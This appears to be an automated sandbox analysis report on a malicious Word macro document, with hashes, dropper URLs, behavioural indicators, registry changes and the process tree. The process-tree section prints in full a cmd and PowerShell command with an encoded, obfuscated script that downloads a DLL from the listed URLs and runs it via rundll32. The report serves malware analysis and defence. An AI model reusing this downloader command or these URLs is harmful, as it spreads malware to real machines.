e8d579c456668ede56746433ab1425c07bedeec985a0f811291f3f8b506ee949

General

Target

file_1301_2021.doc
Size

167KB
MD5

814b00fee318c4790f0a6c4601705eae
SHA1

74090f9d22d889404898e352d67bf7feb95b1947
SHA256

295f317f093c9e9c7cac20d70e708074f9d5ca0285de2e140ded000d0a196f47
SHA512

ba265a75e1e7b7b048082d8d1cd79bc16d1cb77df15028ae7bbcc3f1786e819ea64daf99459bd82b7f7229eb653704d2b4e3aaa3da51726ebaf68022ef231c80

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://transfersuvan.com/wp-admin/yhUw0GU/

exe.dropper

http://equipamentosmix.com/1/TRM/

exe.dropper

http://vedavacademy.com/wp-admin/7BHbH/

exe.dropper

http://lezz-etci.com/wp-content/mXxP/

exe.dropper

https://lapiramideopticas.com/tesla-powerwall-ok3h2/kmJ/

exe.dropper

http://aryasamajmandirkanpur.com/cgi-bin/VcJK/

exe.dropper

http://music.mnahid.com/wp-admin/kCGrt8/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1100 1788 cmd.exe
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

8 676 powershell.exe
10 676 powershell.exe
12 1852 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

568 rundll32.exe
568 rundll32.exe
568 rundll32.exe
568 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1100	1788	cmd.exe

flow	pid	process
8	676	powershell.exe
10	676	powershell.exe
12	1852	rundll32.exe

pid	process
568	rundll32.exe
568	rundll32.exe
568	rundll32.exe
568	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Qkwompa\kvcvuy.rtj	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1008 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

676 powershell.exe
676 powershell.exe
1852 rundll32.exe
1852 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 676 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1008 WINWORD.EXE
1008 WINWORD.EXE

pid	process
1008	WINWORD.EXE

pid	process
676	powershell.exe
676	powershell.exe
1852	rundll32.exe
1852	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	676	powershell.exe

pid	process
1008	WINWORD.EXE
1008	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1100 wrote to memory of 1568	1100	cmd.exe	msg.exe
PID 1100 wrote to memory of 1568	1100	cmd.exe	msg.exe
PID 1100 wrote to memory of 1568	1100	cmd.exe	msg.exe
PID 1100 wrote to memory of 676	1100	cmd.exe	powershell.exe
PID 1100 wrote to memory of 676	1100	cmd.exe	powershell.exe
PID 1100 wrote to memory of 676	1100	cmd.exe	powershell.exe
PID 676 wrote to memory of 1736	676	powershell.exe	rundll32.exe
PID 676 wrote to memory of 1736	676	powershell.exe	rundll32.exe
PID 676 wrote to memory of 1736	676	powershell.exe	rundll32.exe
PID 1736 wrote to memory of 568	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 568	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 568	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 568	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 568	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 568	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 568	1736	rundll32.exe	rundll32.exe
PID 568 wrote to memory of 1852	568	rundll32.exe	rundll32.exe
PID 568 wrote to memory of 1852	568	rundll32.exe	rundll32.exe
PID 568 wrote to memory of 1852	568	rundll32.exe	rundll32.exe
PID 568 wrote to memory of 1852	568	rundll32.exe	rundll32.exe
PID 568 wrote to memory of 1852	568	rundll32.exe	rundll32.exe
PID 568 wrote to memory of 1852	568	rundll32.exe	rundll32.exe
PID 568 wrote to memory of 1852	568	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\file_1301_2021.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1008

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAHMAZQB0ACAAIAA5AFoAagAxAEkAeAAgACAAKAAgACAAWwBUAFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACIALQBmACAAJwBpAFIARQBjACcALAAnAHQAJwAsACcAZAAnACwAJwBvAHIAeQAnACwAJwBzAHkAUwBUAGUAbQAuAEkAbwAuACcAKQApACAAOwAgACAAIAAgAFMARQB0AC0AaQBUAGUAbQAgACAAVgBBAFIASQBhAEIATABlADoANgBoAHcAIAAoAFsAVAB5AFAARQBdACgAIgB7ADgAfQB7ADUAfQB7ADAAfQB7ADEAfQB7ADQAfQB7ADYAfQB7ADcAfQB7ADIAfQB7ADMAfQAiACAALQBGACcAZQBNAC4AbgBlAHQALgBzACcALAAnAGUAcgBWACcALAAnAGkATgB0AE0AYQBuAGEARwAnACwAJwBFAFIAJwAsACcASQAnACwAJwB0ACcALAAnAEMAZQAnACwAJwBwAE8AJwAsACcAcwB5AFMAJwApACAAKQAgACAAOwAkAEsAdgBpAGQAegBvADEAPQAkAFAAMQA1AEwAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFUAXwAzAEYAOwAkAEQANAA2AEQAPQAoACcAVwAnACsAKAAnAF8AOAAnACsAJwBRACcAKQApADsAIAAoACAAZwBFAFQALQBWAEEAUgBJAGEAQgBMAEUAIAAgADkAWgBKADEAaQBYACAALQBWAGEATABVAGUAbwBuAEwAWQApADoAOgAiAEMAUgBlAEEAVABgAGUARABJAHIAZQBgAEMAdABvAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBjAEYAJwArACcAbQAnACkAKwAnAEUAJwArACgAJwBjACcAKwAnAHIAcgAnACkAKwAoACcAZwBzACcAKwAnAG0AYwAnACkAKwAoACcARgBtACcAKwAnAEQAeQAnACkAKwAnAHkAJwArACgAJwAzADcAJwArACcAMwBkAGMAJwApACsAJwBGAG0AJwApAC4AIgByAGAAZQBgAHAAbABhAEMAZQAiACgAKAAnAGMAJwArACcARgBtACcAKQAsAFsAUwB0AFIAaQBOAEcAXQBbAEMASABhAHIAXQA5ADIAKQApACkAOwAkAE0AMwBfAFQAPQAoACgAJwBYACcAKwAnADYAMgAnACkAKwAnAEcAJwApADsAIAAoAGcAZQB0AC0AdgBhAFIAaQBhAEIATABlACAAIAA2AGgAdwAgACAALQBWAEEATAApADoAOgAiAFMAYABlAGAAYwB1AGAAUgBgAEkAdAB5AFAAcgBvAHQAbwBjAG8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQARgA4ADYAVAA9ACgAKAAnAFIAXwAnACsAJwAzACcAKQArACcARgAnACkAOwAkAEYAMAAzAHYANQA4AHQAIAA9ACAAKAAnAEQAJwArACgAJwAzADQAJwArACcAQQAnACkAKQA7ACQAQgA1AF8AVwA9ACgAJwBVACcAKwAoACcAMwAnACsAJwAyAEgAJwApACkAOwAkAEcAegBiADQANwA5ADEAPQAkAEgATwBNAEUAKwAoACgAKAAnAEQAZQAnACsAJwBYACcAKQArACcARQBjACcAKwAoACcAcgByAGcAcwAnACsAJwBtACcAKQArACgAJwBEAGUAJwArACcAWABEAHkAeQAzACcAKQArACcANwAnACsAKAAnADMAJwArACcAZABEACcAKQArACcAZQBYACcAKQAuACIAUgBFAGAAcABsAEEAYABDAGUAIgAoACgAWwBDAEgAQQBSAF0ANgA4ACsAWwBDAEgAQQBSAF0AMQAwADEAKwBbAEMASABBAFIAXQA4ADgAKQAsAFsAUwB0AFIASQBOAEcAXQBbAEMASABBAFIAXQA5ADIAKQApACsAJABGADAAMwB2ADUAOAB0ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABKADEAOABVAD0AKAAnAEkAJwArACgAJwA5AF8AJwArACcATAAnACkAKQA7ACQATABrAGgAeABvADkAbwA9ACgAJwBBACcAKwAnAF0AJwArACgAJwBbAHEAWwAnACsAJwBEADoALwAvAHQAcgAnACkAKwAnAGEAJwArACcAbgBzACcAKwAoACcAZgAnACsAJwBlAHIAcwB1AHYAJwArACcAYQAnACkAKwAnAG4ALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwB5AGgAVQAnACsAJwB3ADAAJwArACcARwBVACcAKQArACcALwBAACcAKwAoACcAQQBdAFsAJwArACcAcQBbAEQAJwArACcAOgAvAC8AZQAnACsAJwBxAHUAaQAnACsAJwBwACcAKwAnAGEAbQBlAG4AdAAnACkAKwAoACcAbwBzACcAKwAnAG0AJwArACcAaQB4AC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AMQAnACsAJwAvAFQAJwArACcAUgBNACcAKQArACcALwBAACcAKwAnAEEAJwArACcAXQAnACsAJwBbACcAKwAoACcAcQBbACcAKwAnAEQAOgAvACcAKQArACgAJwAvACcAKwAnAHYAZQAnACkAKwAoACcAZAAnACsAJwBhAHYAYQBjACcAKQArACgAJwBhAGQAJwArACcAZQBtAHkALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkACcAKQArACcAbQAnACsAKAAnAGkAbgAvADcAQgAnACsAJwBIAGIASAAvACcAKwAnAEAAJwApACsAKAAnAEEAXQBbACcAKwAnAHEAJwApACsAJwBbACcAKwAoACcARAA6ACcAKwAnAC8AJwApACsAKAAnAC8AbAAnACsAJwBlACcAKQArACgAJwB6ACcAKwAnAHoALQAnACkAKwAoACcAZQB0AGMAaQAnACsAJwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAJwAvAG0AWAAnACsAJwB4ACcAKQArACgAJwBQACcAKwAnAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAnAFsARAAnACsAJwBzACcAKwAoACcAOgAvAC8AbABhAHAAJwArACcAaQAnACkAKwAnAHIAJwArACcAYQBtACcAKwAnAGkAZAAnACsAJwBlAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjACcAKwAnAGEAJwApACsAJwBzAC4AJwArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdABlACcAKwAoACcAcwAnACsAJwBsAGEAJwApACsAKAAnAC0AJwArACcAcABvACcAKQArACgAJwB3ACcAKwAnAGUAJwArACcAcgB3ACcAKwAnAGEAbABsAC0AbwBrADMAJwApACsAKAAnAGgAMgAnACsAJwAvACcAKQArACcAawBtACcAKwAnAEoALwAnACsAJwBAACcAKwAoACcAQQBdAFsAcQAnACsAJwBbACcAKQArACcARAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAJwByACcAKwAoACcAeQAnACsAJwBhAHMAJwApACsAJwBhACcAKwAnAG0AYQAnACsAKAAnAGoAbQBhAG4AZABpAHIAawAnACsAJwBhAG4AcAAnACsAJwB1AHIALgBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnACcAKwAnAGkAJwArACcALQBiAGkAbgAvAFYAYwBKACcAKQArACcASwAnACsAJwAvAEAAJwArACgAJwBBAF0AJwArACcAWwAnACkAKwAnAHEAJwArACcAWwBEACcAKwAoACcAOgAvAC8AJwArACcAbQAnACkAKwAnAHUAJwArACcAcwAnACsAJwBpAGMAJwArACgAJwAuAG0AJwArACcAbgBhACcAKQArACcAaABpACcAKwAnAGQALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAGsAQwAnACkAKwAnAEcAJwArACgAJwByAHQAOAAnACsAJwAvACcAKQApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAEEAJwArACcAXQBbACcAKQArACgAJwBxACcAKwAnAFsARAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkAHMAJwArACgAJwBlACcAKwAnAHcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACkAKQBbADIAXQApAC4AIgBTAGAAUABsAGkAdAAiACgAJABOADkAOQBRACAAKwAgACQASwB2AGkAZAB6AG8AMQAgACsAIAAkAFcAOAA1AEcAKQA7ACQARwBfAF8ASwA9ACgAJwBOADYAJwArACcANABMACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAAyAGkAdQA2ADIAagAgAGkAbgAgACQATABrAGgAeABvADkAbwApAHsAdAByAHkAewAoACYAKAAnAE4AJwArACcAZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAFMAVABFAE0ALgBOAGUAVAAuAFcAZQBiAEMATABJAGUATgB0ACkALgAiAEQATwBXAE4AYABsAG8AYABBAGQARgBJAGAAbABlACIAKAAkAEQAMgBpAHUANgAyAGoALAAgACQARwB6AGIANAA3ADkAMQApADsAJABBADYAMwBTAD0AKAAnAFAAJwArACgAJwA0ADYAJwArACcAWgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABHAHoAYgA0ADcAOQAxACkALgAiAEwAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwAxADAANAAxACkAIAB7ACYAKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEcAegBiADQANwA5ADEALAAoACcAUwAnACsAKAAnAGgAbwB3ACcAKwAnAEQAaQAnACkAKwAoACcAYQAnACsAJwBsAG8AZwBBACcAKQApAC4AIgBUAE8AcwBUAGAAUgBgAGkATgBHACIAKAApADsAJABHADAAMgBWAD0AKAAnAFAAJwArACgAJwA1ADgAJwArACcAWAAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAAwADcAVQA9ACgAJwBCADQAJwArACcAMwBUACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQA2ADYAWAA9ACgAKAAnAFEAMQAnACsAJwA1ACcAKQArACcATwAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAHMAZQB0ACAAIAA5AFoAagAxAEkAeAAgACAAKAAgACAAWwBUAFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACIALQBmACAAJwBpAFIARQBjACcALAAnAHQAJwAsACcAZAAnACwAJwBvAHIAeQAnACwAJwBzAHkAUwBUAGUAbQAuAEkAbwAuACcAKQApACAAOwAgACAAIAAgAFMARQB0AC0AaQBUAGUAbQAgACAAVgBBAFIASQBhAEIATABlADoANgBoAHcAIAAoAFsAVAB5AFAARQBdACgAIgB7ADgAfQB7ADUAfQB7ADAAfQB7ADEAfQB7ADQAfQB7ADYAfQB7ADcAfQB7ADIAfQB7ADMAfQAiACAALQBGACcAZQBNAC4AbgBlAHQALgBzACcALAAnAGUAcgBWACcALAAnAGkATgB0AE0AYQBuAGEARwAnACwAJwBFAFIAJwAsACcASQAnACwAJwB0ACcALAAnAEMAZQAnACwAJwBwAE8AJwAsACcAcwB5AFMAJwApACAAKQAgACAAOwAkAEsAdgBpAGQAegBvADEAPQAkAFAAMQA1AEwAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFUAXwAzAEYAOwAkAEQANAA2AEQAPQAoACcAVwAnACsAKAAnAF8AOAAnACsAJwBRACcAKQApADsAIAAoACAAZwBFAFQALQBWAEEAUgBJAGEAQgBMAEUAIAAgADkAWgBKADEAaQBYACAALQBWAGEATABVAGUAbwBuAEwAWQApADoAOgAiAEMAUgBlAEEAVABgAGUARABJAHIAZQBgAEMAdABvAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBjAEYAJwArACcAbQAnACkAKwAnAEUAJwArACgAJwBjACcAKwAnAHIAcgAnACkAKwAoACcAZwBzACcAKwAnAG0AYwAnACkAKwAoACcARgBtACcAKwAnAEQAeQAnACkAKwAnAHkAJwArACgAJwAzADcAJwArACcAMwBkAGMAJwApACsAJwBGAG0AJwApAC4AIgByAGAAZQBgAHAAbABhAEMAZQAiACgAKAAnAGMAJwArACcARgBtACcAKQAsAFsAUwB0AFIAaQBOAEcAXQBbAEMASABhAHIAXQA5ADIAKQApACkAOwAkAE0AMwBfAFQAPQAoACgAJwBYACcAKwAnADYAMgAnACkAKwAnAEcAJwApADsAIAAoAGcAZQB0AC0AdgBhAFIAaQBhAEIATABlACAAIAA2AGgAdwAgACAALQBWAEEATAApADoAOgAiAFMAYABlAGAAYwB1AGAAUgBgAEkAdAB5AFAAcgBvAHQAbwBjAG8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQARgA4ADYAVAA9ACgAKAAnAFIAXwAnACsAJwAzACcAKQArACcARgAnACkAOwAkAEYAMAAzAHYANQA4AHQAIAA9ACAAKAAnAEQAJwArACgAJwAzADQAJwArACcAQQAnACkAKQA7ACQAQgA1AF8AVwA9ACgAJwBVACcAKwAoACcAMwAnACsAJwAyAEgAJwApACkAOwAkAEcAegBiADQANwA5ADEAPQAkAEgATwBNAEUAKwAoACgAKAAnAEQAZQAnACsAJwBYACcAKQArACcARQBjACcAKwAoACcAcgByAGcAcwAnACsAJwBtACcAKQArACgAJwBEAGUAJwArACcAWABEAHkAeQAzACcAKQArACcANwAnACsAKAAnADMAJwArACcAZABEACcAKQArACcAZQBYACcAKQAuACIAUgBFAGAAcABsAEEAYABDAGUAIgAoACgAWwBDAEgAQQBSAF0ANgA4ACsAWwBDAEgAQQBSAF0AMQAwADEAKwBbAEMASABBAFIAXQA4ADgAKQAsAFsAUwB0AFIASQBOAEcAXQBbAEMASABBAFIAXQA5ADIAKQApACsAJABGADAAMwB2ADUAOAB0ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABKADEAOABVAD0AKAAnAEkAJwArACgAJwA5AF8AJwArACcATAAnACkAKQA7ACQATABrAGgAeABvADkAbwA9ACgAJwBBACcAKwAnAF0AJwArACgAJwBbAHEAWwAnACsAJwBEADoALwAvAHQAcgAnACkAKwAnAGEAJwArACcAbgBzACcAKwAoACcAZgAnACsAJwBlAHIAcwB1AHYAJwArACcAYQAnACkAKwAnAG4ALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwB5AGgAVQAnACsAJwB3ADAAJwArACcARwBVACcAKQArACcALwBAACcAKwAoACcAQQBdAFsAJwArACcAcQBbAEQAJwArACcAOgAvAC8AZQAnACsAJwBxAHUAaQAnACsAJwBwACcAKwAnAGEAbQBlAG4AdAAnACkAKwAoACcAbwBzACcAKwAnAG0AJwArACcAaQB4AC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AMQAnACsAJwAvAFQAJwArACcAUgBNACcAKQArACcALwBAACcAKwAnAEEAJwArACcAXQAnACsAJwBbACcAKwAoACcAcQBbACcAKwAnAEQAOgAvACcAKQArACgAJwAvACcAKwAnAHYAZQAnACkAKwAoACcAZAAnACsAJwBhAHYAYQBjACcAKQArACgAJwBhAGQAJwArACcAZQBtAHkALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkACcAKQArACcAbQAnACsAKAAnAGkAbgAvADcAQgAnACsAJwBIAGIASAAvACcAKwAnAEAAJwApACsAKAAnAEEAXQBbACcAKwAnAHEAJwApACsAJwBbACcAKwAoACcARAA6ACcAKwAnAC8AJwApACsAKAAnAC8AbAAnACsAJwBlACcAKQArACgAJwB6ACcAKwAnAHoALQAnACkAKwAoACcAZQB0AGMAaQAnACsAJwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAJwAvAG0AWAAnACsAJwB4ACcAKQArACgAJwBQACcAKwAnAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAnAFsARAAnACsAJwBzACcAKwAoACcAOgAvAC8AbABhAHAAJwArACcAaQAnACkAKwAnAHIAJwArACcAYQBtACcAKwAnAGkAZAAnACsAJwBlAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjACcAKwAnAGEAJwApACsAJwBzAC4AJwArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdABlACcAKwAoACcAcwAnACsAJwBsAGEAJwApACsAKAAnAC0AJwArACcAcABvACcAKQArACgAJwB3ACcAKwAnAGUAJwArACcAcgB3ACcAKwAnAGEAbABsAC0AbwBrADMAJwApACsAKAAnAGgAMgAnACsAJwAvACcAKQArACcAawBtACcAKwAnAEoALwAnACsAJwBAACcAKwAoACcAQQBdAFsAcQAnACsAJwBbACcAKQArACcARAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAJwByACcAKwAoACcAeQAnACsAJwBhAHMAJwApACsAJwBhACcAKwAnAG0AYQAnACsAKAAnAGoAbQBhAG4AZABpAHIAawAnACsAJwBhAG4AcAAnACsAJwB1AHIALgBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnACcAKwAnAGkAJwArACcALQBiAGkAbgAvAFYAYwBKACcAKQArACcASwAnACsAJwAvAEAAJwArACgAJwBBAF0AJwArACcAWwAnACkAKwAnAHEAJwArACcAWwBEACcAKwAoACcAOgAvAC8AJwArACcAbQAnACkAKwAnAHUAJwArACcAcwAnACsAJwBpAGMAJwArACgAJwAuAG0AJwArACcAbgBhACcAKQArACcAaABpACcAKwAnAGQALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAGsAQwAnACkAKwAnAEcAJwArACgAJwByAHQAOAAnACsAJwAvACcAKQApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAEEAJwArACcAXQBbACcAKQArACgAJwBxACcAKwAnAFsARAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkAHMAJwArACgAJwBlACcAKwAnAHcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACkAKQBbADIAXQApAC4AIgBTAGAAUABsAGkAdAAiACgAJABOADkAOQBRACAAKwAgACQASwB2AGkAZAB6AG8AMQAgACsAIAAkAFcAOAA1AEcAKQA7ACQARwBfAF8ASwA9ACgAJwBOADYAJwArACcANABMACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAAyAGkAdQA2ADIAagAgAGkAbgAgACQATABrAGgAeABvADkAbwApAHsAdAByAHkAewAoACYAKAAnAE4AJwArACcAZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAFMAVABFAE0ALgBOAGUAVAAuAFcAZQBiAEMATABJAGUATgB0ACkALgAiAEQATwBXAE4AYABsAG8AYABBAGQARgBJAGAAbABlACIAKAAkAEQAMgBpAHUANgAyAGoALAAgACQARwB6AGIANAA3ADkAMQApADsAJABBADYAMwBTAD0AKAAnAFAAJwArACgAJwA0ADYAJwArACcAWgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABHAHoAYgA0ADcAOQAxACkALgAiAEwAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwAxADAANAAxACkAIAB7ACYAKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEcAegBiADQANwA5ADEALAAoACcAUwAnACsAKAAnAGgAbwB3ACcAKwAnAEQAaQAnACkAKwAoACcAYQAnACsAJwBsAG8AZwBBACcAKQApAC4AIgBUAE8AcwBUAGAAUgBgAGkATgBHACIAKAApADsAJABHADAAMgBWAD0AKAAnAFAAJwArACgAJwA1ADgAJwArACcAWAAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAAwADcAVQA9ACgAJwBCADQAJwArACcAMwBUACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQA2ADYAWAA9ACgAKAAnAFEAMQAnACsAJwA1ACcAKQArACcATwAnACkA
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:676

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ecrrgsm\Dyy373d\D34A.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ecrrgsm\Dyy373d\D34A.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:568

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qkwompa\kvcvuy.rtj",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1852

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Ecrrgsm\Dyy373d\D34A.dll
MD5
fda2b3befb8e609ccfb4e91996c74cd1

SHA1
e5c0952da8c862843a37d5abf9bbbade3455373a

SHA256
